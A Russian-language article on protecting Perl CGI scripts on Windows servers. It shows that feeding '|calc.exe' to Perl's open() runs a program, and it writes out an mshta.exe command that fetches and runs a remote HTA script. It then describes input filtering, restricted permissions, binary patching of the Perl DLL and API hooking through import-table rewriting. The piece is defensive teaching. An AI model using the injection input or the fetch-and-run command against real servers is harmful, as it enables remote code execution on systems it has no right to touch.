**Защищаем Perl: шунт в мозг, или зверская нейрохирургия**

Язык программирования Perl, будучи установленным на Web-сервере, отличается высокими требованиями к внимательности разработчика и квалификации системного администратора, при малейшей ошибке человека оставляя систему "открытой и доступной" для взломщиков всего мира. В статье рассмотрена возможность снизить угрозу, устанавливая свои собственные защитные механизмы (на примере "хирургического отрезания" и перехвата функций чтения, записи и выполнения файлов в системе Windows).

Если вы программируете (или собираетесь программировать) Internet-приложения на языке Perl, то наверняка сталкивались с информацией, описывающей уязвимости этого языка для хакерских атак. Простейший скрипт, приведенный в любом учебнике по языку Perl, на поверку оказывается "широко открытыми воротами" для хакеров, как многоопытных, так и начинающих. Например, фрагмент кода, который просто выводит содержимое указанного файла

open(f,$filename);

 while(<f>)

 {

 print;

 }

на самом деле может выполнять и другие действия. Подайте на его вход строку "|calc.exe", и вы запустите на выполнение стандартный калькулятор. В запуске на удаленном сервере стандартных программ (таких как calc.exe или notepad.exe) мало смысла, если не знать про идеальную отмычку хакера - утилиту mshta.exe. Она входит в стандартную поставку Windows и позволяет легко и непринужденно закачивать в атакуемую систему и выполнять в ней произвольный код.

Например, выполнение в системе команды:

mshta.exe http://www.malware.com/foobar.hta

приведет к скачиванию на компьютер файла foobar.hta и исполнению его как скрипта VBS. Этот пример создает и запускает безвредное (по заверениям устроителей сайта malware.com) приложение для MS-DOS, показывающее стандартный алгоритм генерации пламени. Естественно, таким же способом можно закачать и выполнить в системе произвольный исполняемый файл, даже если его там еще нет.

**Кому это нужно?**

Мне хотелось бы развеять предубеждение некоторых системных администраторов, что взлом именно их сервера никому не нужен. Железный аргумент - ссылка на Неуловимого Джо ("не такая уж мы важная птица, чтобы нас ломать"). В действительности, взлом любого (произвольного) сервера может принести хакеру пользу, поскольку открывает ему новые замечательные возможности:

Разослать с уязвимого сервера пару-тройку гигабайт почтового спама.

Устроить на уязвимом сервере "варезятник" для нелицензионного софта, музыки и видео.

Выполнить сложный и интересный математический расчет (обычно просчитывают криптографию, чтобы подобрать чей-то ключ, вовлекая в этот процесс - чтобы дело шло быстрее - множество взломанных машин).

Взломать или "заглушить" мусорными запросами (атака "отказ в обслуживании") более важный сервер (например, сервер какого-нибудь банка или государственного учреждения).

Таким образом, уязвимые серверы, независимо от их важности, представляют опасность не меньшую, чем те люди, которые умеют использовать эти серверы по их прямому назначению. :-)

**Почему Perl уязвим?**

Рациональное объяснение, зачем функция open в Perl отрабатывает символ конвейера | как команду запустить программу на выполнение, дать сложно: Perl вообще довольно иррациональный (зато гибкий и компактный) язык. :-) Автор языка Perl Ларри Уолл в шутку расшифровывает его название как Patalogically Eclectic Rubbish Lister (Паталогически Эклектичный Мусорный Листер) - мы можем лишь пожелать, чтобы следующие его версии развивались в направлении большей безопасности, однозначности и безошибочности кода - столь необходимых качеств для общедоступных Internet-приложений. Безусловно, "патологичность", "эклектичность" и "мусорность" - это отрицательные черты, с которыми Ларри Уолл должен бороться. :-)

**Фильтрация пользовательского ввода**

В статьях о безопасном программировании на языке Perl можно встретить рекомендации фильтровать пользовательский ввод: в частности, удалять из полученных извне строк символы | и другие знаки, имеющие в Perl специальное значение. Например, следующая фильтрация ввода "обеззаразит" полученное извне имя файла от специальных и опасных символов.

 if ($filename =~/[<>\|\-&\.\\\/\0]/)

 {die "Недопустимый символ в имени файла \n";}

 open(f, $filename);

Оцените, какое изобилие специальных значков - "крокозябликов" надо отфильтровать для простой функции открытия файла. Очевидно, что надо быть глубоким экспертом по языку Perl и очень внимательным человеком, чтобы правильно расставить все фильтры. Поскольку от человека, в отличие от железного лома, трудно требовать стопроцентной надежности, расставленные в разных местах программы "ловушки на крокозябликов" на практике могут не сработать.

**Ограничение прав Web-сервера**

Internet-сервер и все запущенные им приложения, так или иначе, контактирующие со всем внешним миром, не должны иметь права администратора или привилегированного пользователя. Назначить службе Web-сервера ограниченные права - очень надежный (и, наверное, единственно правильный) способ защитить свой сервер от атак извне.

При проектировании Internet-сайта необходимо с самого начала разбить его информационное содержимое на отдельные папки, где находятся:

а) выполняемые скрипты и программы

б) данные, предназначенные только для чтения (HTML-страницы)

в) данные, предназначенные для изменения посетителями.

Пользователь, под именем которого будет запущен Internet-сервер, должен иметь доступ только к этим папкам, причем, на скрипты и данные надо наложить запрет записи (иначе хакер может слегка изменить внешний вид и функционирование вашего сайта), а на данные, предназначенные для изменения внешними пользователями - запрет выполнения (иначе он сможет создать и тут же выполнить в этой папке все что угодно). Этот вариант защиты теоретически "невскрываем" - но на практике у начинающего администратора возникнет ряд сложностей.

Так, в системе Windows web-сервер не запустится, если не открыть ему на доступ системные dll в папке c:\winnt\system32. А если их открыть, всему миру окажутся доступными замечательные программы наподобие regedt32.exe, mshta.exe и т.д. Можно, конечно, переписать на листочек список необходимых программе системных dll и открыть на доступ Internet-серверу только их. Но многие ли администраторы это делают (и надо ли им это?).

В Unix-подобных системах существуют свои трудности (одна из возможных проблем - закрытый 80 порт для процессов, не имеющих административных привилегий в системе).

В любом случае, этот метод защиты требует хорошей подготовки и высокой мотивации администратора системы, что указывает на фундаментальный недостаток такой защиты: ее нельзя установить принудительно, вместе с установкой защищаемой программы, и надежность компьютерной системы полностью зависит от надежности самого слабого ее звена - человеческого мозга.

**"Лоботомия" Perl**

Лоботомия - это операция по изменению личности путем повреждения лобных долей мозга, отвечающих за агрессию. Одно время эту операцию применяли по отношению к преступникам, чтобы уменьшить их опасность для общества. Хирург при помощи специального инструмента через глазницы достигал этой области мозга и легким постукиванием деревянным молоточком по рукоятке инструмента наносил необходимые повреждения (избыточная кровь и клеточная масса удалялись с помощью гибкого зонда).

Применять подобную операцию мы будем не к хакерам (в свое время ее признали бесчеловечной и антигуманной), а к бинарному дистрибутиву Perl, чтобы "отрубить" у него "агрессивную" реакцию на символ | ("конвейер").

Указанные ниже манипуляции носят тестовый характер - не применяйте их без тщательной проверки на тестовой системе и на тестовой копии данных.

Для этого мы отыщем в бинарном дистрибутиве Perl (для экспериментов я использую дистрибутив ActivePerl версии 5.6) подстроку "cmd.exe". Это вызов стандартной оболочки Windows NT/2000/XP (для Windows 9x имя стандартной оболочки - "command.com"). Нас интересуют файлы с расширением dll, где найдена эта строка. Если мы вызываем Perl запуском perl.exe, то нужная нам компонента - Perl56.dll (название может отличаться в зависимости от версии дистрибутива). Заменим каким-нибудь редактором (я использую встроенный редактор Far) подстроку cmd.exe на что-нибудь другое той же длины, например, sex.exe. Таким образом, символ "конвейера" окажется нерабочим, однако, мы сможем по-прежнему запускать приложения функцией system("ИмяПрограммы"). Так, согласитесь, хотя и менее компактно, зато гораздо безопаснее и менее агрессивно. :-)

Программа sex.exe должна выводить на стандартный вывод (stdout) какое-нибудь доброе и трогательное приветствие для хакера. Я надеюсь, что с ее созданием вы легко справитесь самостоятельно. :-).

**Перехват системных вызовов**

Мы предупредили не все опасности, подстерегающие Perl-программиста.

Давайте предположим, что мы хотим запретить интерпретатору Perl:

запуск любых внешних программ (мудрое решение; ту же отсылку почты безусловно лучше выполнять стандартными функциями Perl - иначе "лоботомию", в той или иной степени, пришлось бы выполнять ко всем программам, которые мы запускаем)

чтение файлов, если расширение не ".html"

запись файлов, если расширение не ".user".

Получив такой дистрибутив Perl, даже ... скажем так, не совсем грамотный Web-программист (требовать иного от живых людей мы не только не вправе, но и не в состоянии) будет чувствовать себя комфортно и, самое главное, сухо.

Роль "защитной прокладки" в данном случае выполнит специальная dll, которая перехватит указанные нами системные вызовы и, при необходимости, их заблокирует (в отличие от антивирусов, которые перехватывают системные вызовы сразу всех процессов в системе, мы будем перехватывать только системные вызовы Perl, не трогая остальную систему).

Мы будем использовать системные функции Windows GetProcAddress и GetModuleHandle, чтобы получить адреса функций для перехвата, ImageDirectoryEntryToData - чтобы получить адрес начала таблицы импорта, и функции VirtualProtect и WriteProcessMemory, чтобы внести изменения в эту таблицу.

Опираясь на эти ключевые слова, вы можете отыскать в Internet готовое решение, либо написать приложение-"перехватчик" самостоятельно. Получившийся у меня результат перехвата (я использовал компилятор Delphi, поскольку для языка C примеров можно найти достаточно) вы можете скачать по ссылке [1].

**Внедрение защитной DLL**

Чтобы "пристыковать" dll в адресное пространство процесса, я использую метод подмены DLL. Для этого я захожу ... правильно, текстовым редактором в исполняемый файл Perl.exe и исправляю подстроку Perl56.dll на romix1.dll (так мы назовем нашу защитную компоненту).

Пробую запускать Perl.exe. Конечно же, Perl пишет, что не найдена необходимая библиотека romix1.dll. Ну что же, создадим ее. Для этого скомпилируем программу из трех строк на Delphi, назвав ее romix1.dpr:

library romix1;

begin

end.

Этого недостаточно: теперь Perl при запуске выдает ошибку:

"Perl.exe связан с отсутствующим компонентом Romix1.dll:RunPerl".

Perl импортирует единственную функцию RunPerl из этой библиотеки, и мы ее сейчас создадим (наша "подделка" будет просто передавать управление на "оригинал"):

library romix1;

procedure RunPerlOrig; external 'Perl56.dll' name 'RunPerl';

//Это оригинальная функция RunPerl из библиотеки Perl56.dll.

procedure RunPerl; export; stdcall;

//Перехватчик функции RunPerl

begin

 asm

 jmp RunPerlOrig; //Делаем переход (jump)

 end;

end;

exports RunPerl;

begin

 //Расположенный здесь код будет выполняться при каждом запуске DLL

end.

Ассемблерная вставка делает переход, куда надо. Теперь ругательные сообщения прекратились, и изменений в работе Perl не видно. Зато мы достигли важного результата: наша dll стала полноправным членом (если не мозгом) исполняемого процесса Perl.exe. Дальнейшее становится делом техники (точнее, системных вызовов Windows API и нескольких "точечных" замен в таблице импорта Perl56.dll). Вы можете взять готовый код [1] и посмотреть, что у меня получилось.

**Какие системные функции необходимо перехватывать?**

Технология динамически компонуемых библиотек (DLL) существенно облегчает модификацию Windows-приложений (закрытый исходный код компенсируется тем, что все названия функций и точки их входа не только хорошо видны, но и доступны для изменения). Просматривать статический импорт DLL или EXE удобно при помощи утилиты dumpbin.exe из студии разработки Microsoft.

Пример вызова этой утилиты из командной строки:

dumpbin.exe /imports perl.exe

Программа выдаст список DLL и их функций, которые импортирует программа из этих DLL. Вот полезный нам фрагмент вывода этой утилиты:

Microsoft (R) COFF Binary File Dumper Version 6.00.8168

Copyright (C) Microsoft Corp 1992-1998. All rights reserved.

Dump of file perl.exe

File Type: EXECUTABLE IMAGE

 Section contains the following imports:

...

 Perl56.dll

 402038 Import Address Table

 4020C0 Import Name Table

 0 time date stamp

 0 Index of first forwarder reference

 3C3 RunPerl

...

Замечание: Из этого листинга мы видим, что программа импортирует библиотеку Perl56.dll Это большая и "тяжелая" динамическая библиотека, которая поддерживает все функции Perl; Perl.exe же фактически является небольшим загрузчиком для этой библиотеки, только лишь запуская ее единственную функцию RunPerl. Смысл такого разделения, видимо, в том, что при завершении работы Perl.exe система выгружает библиотеку из памяти лишь через несколько секунд, если к ней не будет новых обращений. Поскольку все запущенные копии Perl.exe используют только одну копию библиотеки, система экономит время на выгрузках-загрузках (при условии, конечно, что эта библиотека постоянно "висит" в памяти). Замечу, что экономии памяти от такого разделения не происходит, т.к. общие страницы всех запущенных копий одного и того же исполняемого файла система по любому помещает на одни и те же физические адреса.

Аналогично мы можем выяснить импорт библиотеки Perl56.dll (список функций, конечно же, окажется гораздо длиннее). Дальнейшие выяснения, на какие функции надо ставить "жучок", мы произведем опытным путем - мы примерно знаем (а если не знаем, то посмотрим), :-) какие API-функции должна импортировать скомпилированная в системе Windows простейшая тестовая C-программа, которая выполняет нужные нам действия. Другой вариант - выяснить это при помощи специальных "лоботомических инструментов": например, Numega SoftICE или Numega Bounds Checker (их рассмотрение выходит за рамки этой статьи). Я приведу лишь результат своих изысканий: нужные нам функции - это CreateProcessA (запуск приложения) из библиотеки KERNEL32.dll и функция fopen (открытие файла на чтение или на запись) из библиотеки MSVCRT.dll.

"За кадром" остались такие специальные вопросы, как формат таблицы импорта Windows-программы. Отчасти эту информацию можно получить в комментариях исходного кода [1], а отчасти - из литературы. Кстати, полезные для начинающих хакеров источники (например, книги Криса Касперски, Джеффри Рихтера и Мэтта Питрека) можно скорее найти в сети Internet, чем в книжных магазинах, где их почему-то очень быстро раскупают. :-)

**Заключение**

Мы попытались защитить Perl - один из наиболее популярных (хотя и несколько эклектичных) :-) языков для работы с CGI - от атак из Internet. Мы делали это на разных уровнях:

Фильтрацией пользовательского ввода

Ограничением прав доступа

Заменой подстрок в теле программы

Перехватом системных вызовов

Возможны еще два уровня защиты:

Перекомпиляция Perl

Перекомпиляция ядра операционной системы.

Эффективность защиты во всех рассмотренных случаях идет "по нарастающей".

Разумеется, нам важна не просто перекомпиляция, а перекомпиляция с внедрением защитных проверок. Наша цель - внедрить эти проверки тем или иным способом, пусть даже антигуманным и "хакерским". При помощи деревянного молоточка.

А авторы дистрибутивов уже сами разберутся, включать ли защитные опции в состав своих продуктов, и активизировать ли их по умолчанию. :-)